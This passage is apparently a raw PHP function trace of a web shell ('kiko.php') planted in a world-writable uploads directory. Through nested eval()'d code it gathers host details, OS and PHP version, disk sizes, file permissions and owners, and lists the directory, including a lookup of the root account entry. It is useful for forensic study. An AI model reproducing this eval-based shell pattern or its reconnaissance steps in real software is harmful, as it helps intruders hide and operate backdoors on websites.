6	76	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	77	0	0.023482	1242936	substr	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	252	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
6	77	1	0.023500	1243032
6	77	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	78	0	0.023520	1242952	php_uname	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	252	0
6	78	1	0.023534	1243064
6	78	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	79	0	0.023552	1243064	urlencode	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	252	1	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	79	1	0.023569	1243224
6	79	R			'Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64'
6	80	0	0.023589	1243272	phpversion	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	252	0
6	80	1	0.023603	1243336
6	80	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
6	81	0	0.023619	1243528	date	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	252	1	'Y-m-d H:i:s'
6	81	1	0.023687	1245880
6	81	R			'2023-02-12 23:22:56'
6	82	0	0.023707	1245592	viewSize	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	252	1	232015802368
7	83	0	0.023723	1245592	sprintf	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	308	2	'%1.2f'	216.08155441284
7	83	1	0.023740	1245976
7	83	R			'216.08'
6	82	1	0.023754	1245632
6	82	R			'216.08 GB'
6	84	0	0.023767	1245592	viewSize	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	252	1	193561944064
7	85	0	0.023781	1245592	sprintf	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	308	2	'%1.2f'	180.26860809326
7	85	1	0.023796	1245976
7	85	R			'180.27'
6	84	1	0.023809	1245632
6	84	R			'180.27 GB'
6	86	0	0.023824	1245592	round	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	252	2	83.426189978643	2
6	86	1	0.023839	1245664
6	86	R			83.43
6	87	0	0.023854	1245976	viewPermsColor	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	252	1	'/var/www/html/uploads/'
7	88	0	0.023868	1245976	is_readable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/'
7	88	1	0.023891	1246016
7	88	R			TRUE
7	89	0	0.023905	1245976	is_writable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/'
7	89	1	0.023921	1246016
7	89	R			TRUE
7	90	0	0.023935	1245976	fileperms	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	342	1	'/var/www/html/uploads/'
7	90	1	0.023952	1246040
7	90	R			16895
7	91	0	0.023966	1246000	perms	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	342	1	16895
7		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	321	$i = 'd'
7		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
7		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
7		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	327	$i .= 'x'
7		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
7		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	329	$i .= 'w'
7		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	330	$i .= 'x'
7		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
7		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	332	$i .= 'w'
7		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	333	$i .= 'x'
7	91	1	0.024092	1246040
7	91	R			'drwxrwxrwx'
6	87	1	0.024107	1246080
6	87	R			'<font color=#ffffff><b>drwxrwxrwx</b></font>'
6	92	0	0.024125	1246512	gethostbyname	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	253	1	'localhost'
6	92	1	0.024165	1246592
6	92	R			'127.0.0.1'
5	47	1	0.024184	1240848
5	93	0	0.024193	1240848	hardScandir	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1019	1	'/var/www/html/uploads/'
6	94	0	0.024208	1240848	function_exists	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	345	1	'scandir'
6	94	1	0.024222	1240888
6	94	R			TRUE
6	95	0	0.024235	1240848	scandir	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	346	1	'/var/www/html/uploads/'
6	95	1	0.024271	1241472
6	95	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'kiko.php', 5 => 'prepend.php']
5	93	1	0.024293	1241440
5	93	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'kiko.php', 5 => 'prepend.php']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1019	$dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'kiko.php', 5 => 'prepend.php']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1022	$sort = [0 => 'name', 1 => 1]
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1036	$files = []
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1036	$dirs = []
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1037	$n = 6
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1038	$i = 0
5	96	0	0.024595	1241464	fileowner	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	'.'
5	96	1	0.024612	1241488
5	96	R			0
5	97	0	0.024626	1241448	posix_getpwuid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	0
5	97	1	0.024653	1242248
5	97	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	98	0	0.024696	1242216	filegroup	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	'.'
5	98	1	0.024711	1242256
5	98	R			0
5	99	0	0.024723	1242216	posix_getgrgid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	0
5	99	1	0.024747	1242872
5	99	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	100	0	0.024784	1243312	filemtime	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/.'
5	100	1	0.024801	1243368
5	100	R			1676262176
5	101	0	0.024815	1243280	date	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676262176
5	101	1	0.024848	1243608
5	101	R			'2023-02-12 23:22:56'
5	102	0	0.024863	1243584	viewPermsColor	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/.'
6	103	0	0.024878	1243584	is_readable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/.'
6	103	1	0.024895	1243624
6	103	R			TRUE
6	104	0	0.024909	1243584	is_writable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/.'
6	104	1	0.024925	1243624
6	104	R			TRUE
6	105	0	0.024938	1243584	fileperms	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	342	1	'/var/www/html/uploads/.'
6	105	1	0.024952	1243624
6	105	R			16895
6	106	0	0.024965	1243584	perms	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	342	1	16895
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	321	$i = 'd'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	327	$i .= 'x'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	332	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	333	$i .= 'x'
6	106	1	0.025090	1243624
6	106	R			'drwxrwxrwx'
5	102	1	0.025104	1243664
5	102	R			'<font color=#ffffff><b>drwxrwxrwx</b></font>'
5	107	0	0.025121	1243664	filesize	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/.'
5	107	1	0.025136	1243704
5	107	R			4096
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	108	0	0.025173	1243664	is_file	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/.'
5	108	1	0.025188	1243704
5	108	R			FALSE
5	109	0	0.025202	1243664	is_link	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1051	1	'/var/www/html/uploads/.'
5	109	1	0.025218	1243728
5	109	R			FALSE
5	110	0	0.025232	1243688	is_dir	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1053	1	'/var/www/html/uploads/.'
5	110	1	0.025246	1243728
5	110	R			TRUE
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
5	111	0	0.025271	1243640	fileowner	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	'..'
5	111	1	0.025287	1243664
5	111	R			0
5	112	0	0.025300	1243624	posix_getpwuid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	0
5	112	1	0.025324	1244424
5	112	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	113	0	0.025366	1243656	filegroup	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	'..'
5	113	1	0.025380	1243696
5	113	R			0
5	114	0	0.025393	1243656	posix_getgrgid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	0
5	114	1	0.025416	1244312
5	114	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	115	0	0.025452	1244176	filemtime	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/..'
5	115	1	0.025469	1244240
5	115	R			1676262176
5	116	0	0.025481	1244144	date	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676262176
5	116	1	0.025513	1244472
5	116	R			'2023-02-12 23:22:56'
5	117	0	0.025528	1244456	viewPermsColor	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/..'
6	118	0	0.025542	1244456	is_readable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/..'
6	118	1	0.025559	1244496
6	118	R			TRUE
6	119	0	0.025572	1244456	is_writable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/..'
6	119	1	0.025587	1244496
6	119	R			TRUE
6	120	0	0.025600	1244456	fileperms	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	342	1	'/var/www/html/uploads/..'
6	120	1	0.025614	1244496
6	120	R			16895
6	121	0	0.025628	1244456	perms	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	342	1	16895
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	321	$i = 'd'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	327	$i .= 'x'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	332	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	333	$i .= 'x'
6	121	1	0.025754	1244496
6	121	R			'drwxrwxrwx'
5	117	1	0.025768	1244536
5	117	R			'<font color=#ffffff><b>drwxrwxrwx</b></font>'
5	122	0	0.025785	1244536	filesize	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/..'
5	122	1	0.025800	1244576
5	122	R			4096
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	123	0	0.025837	1243712	is_file	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/..'
5	123	1	0.025852	1243752
5	123	R			FALSE
5	124	0	0.025865	1243712	is_link	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1051	1	'/var/www/html/uploads/..'
5	124	1	0.025881	1243760
5	124	R			FALSE
5	125	0	0.025895	1243720	is_dir	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1053	1	'/var/www/html/uploads/..'
5	125	1	0.025909	1243760
5	125	R			TRUE
5	126	0	0.025923	1243664	array_merge	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1054	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
5	126	1	0.025948	1244104
5	126	R			['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1054	$dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
5	127	0	0.026008	1244416	fileowner	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	'.htaccess'
5	127	1	0.026025	1244440
5	127	R			0
5	128	0	0.026039	1244400	posix_getpwuid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	0
5	128	1	0.026064	1245200
5	128	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	129	0	0.026107	1244432	filegroup	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	'.htaccess'
5	129	1	0.026121	1244472
5	129	R			0
5	130	0	0.026134	1244432	posix_getgrgid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	0
5	130	1	0.026157	1245088
5	130	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	131	0	0.026194	1244952	filemtime	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/.htaccess'
5	131	1	0.026210	1245008
5	131	R			1676262176
5	132	0	0.026224	1244912	date	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676262176
5	132	1	0.026255	1245240
5	132	R			'2023-02-12 23:22:56'
5	133	0	0.026270	1245224	viewPermsColor	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/.htaccess'
6	134	0	0.026284	1245224	is_readable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/.htaccess'
6	134	1	0.026301	1245264
6	134	R			TRUE
6	135	0	0.026314	1245224	is_writable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/.htaccess'
6	135	1	0.026330	1245264
6	135	R			FALSE
6	136	0	0.026344	1245224	fileperms	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	340	1	'/var/www/html/uploads/.htaccess'
6	136	1	0.026358	1245264
6	136	R			33188
6	137	0	0.026371	1245224	perms	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	340	1	33188
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	319	$i = '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	327	$i .= '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	329	$i .= '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	330	$i .= '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	332	$i .= '-'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	333	$i .= '-'
6	137	1	0.026515	1245264
6	137	R			'-rw-r--r--'
5	133	1	0.026538	1245304
5	133	R			'<font color=white><b>-rw-r--r--</b></font>'
5	138	0	0.026560	1245304	filesize	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/.htaccess'
5	138	1	0.026575	1245344
5	138	R			64
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
5	139	0	0.026612	1244928	is_file	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/.htaccess'
5	139	1	0.026627	1244968
5	139	R			TRUE
5	140	0	0.026640	1244872	array_merge	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1050	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
5	140	1	0.026665	1245312
5	140	R			['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1050	$files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
5	141	0	0.026724	1245624	fileowner	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	'data'
5	141	1	0.026741	1245640
5	141	R			0
5	142	0	0.026754	1245600	posix_getpwuid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	0
5	142	1	0.026781	1246400
5	142	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	143	0	0.026823	1245632	filegroup	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	'data'
5	143	1	0.026838	1245672
5	143	R			0
5	144	0	0.026850	1245632	posix_getgrgid	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	1	0
5	144	1	0.026873	1246288
5	144	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1040	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	145	0	0.026910	1246152	filemtime	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	1	'/var/www/html/uploads/data'
5	145	1	0.026927	1246216
5	145	R			1676262176
5	146	0	0.026940	1246120	date	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1043	2	'Y-m-d H:i:s'	1676262176
5	146	1	0.026973	1246448
5	146	R			'2023-02-12 23:22:56'
5	147	0	0.026988	1246432	viewPermsColor	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1044	1	'/var/www/html/uploads/data'
6	148	0	0.027002	1246432	is_readable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	337	1	'/var/www/html/uploads/data'
6	148	1	0.027020	1246472
6	148	R			TRUE
6	149	0	0.027033	1246432	is_writable	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	339	1	'/var/www/html/uploads/data'
6	149	1	0.027049	1246472
6	149	R			TRUE
6	150	0	0.027063	1246432	fileperms	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	342	1	'/var/www/html/uploads/data'
6	150	1	0.027082	1246472
6	150	R			16895
6	151	0	0.027095	1246432	perms	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	342	1	16895
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	321	$i = 'd'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	325	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	326	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	327	$i .= 'x'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	332	$i .= 'w'
6		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	333	$i .= 'x'
6	151	1	0.027217	1246472
6	151	R			'drwxrwxrwx'
5	147	1	0.027231	1246512
5	147	R			'<font color=#ffffff><b>drwxrwxrwx</b></font>'
5	152	0	0.027248	1246512	filesize	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1045	1	'/var/www/html/uploads/data'
5	152	1	0.027263	1246552
5	152	R			4096
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1047	$tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	153	0	0.027301	1246136	is_file	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1049	1	'/var/www/html/uploads/data'
5	153	1	0.027315	1246176
5	153	R			FALSE
5	154	0	0.027329	1246136	is_link	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1051	1	'/var/www/html/uploads/data'
5	154	1	0.027345	1246176
5	154	R			FALSE
5	155	0	0.027358	1246136	is_dir	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1053	1	'/var/www/html/uploads/data'
5	155	1	0.027372	1246176
5	155	R			TRUE
5	156	0	0.027385	1246080	array_merge	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1054	2	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
5	156	1	0.027410	1246520
5	156	R			['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1054	$dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 23:22:56', 'perms' => '<font color=#ffffff><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1038	$i++
5	157	0	0.027469	1246456	fileowner	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	1039	1	'kiko.php'
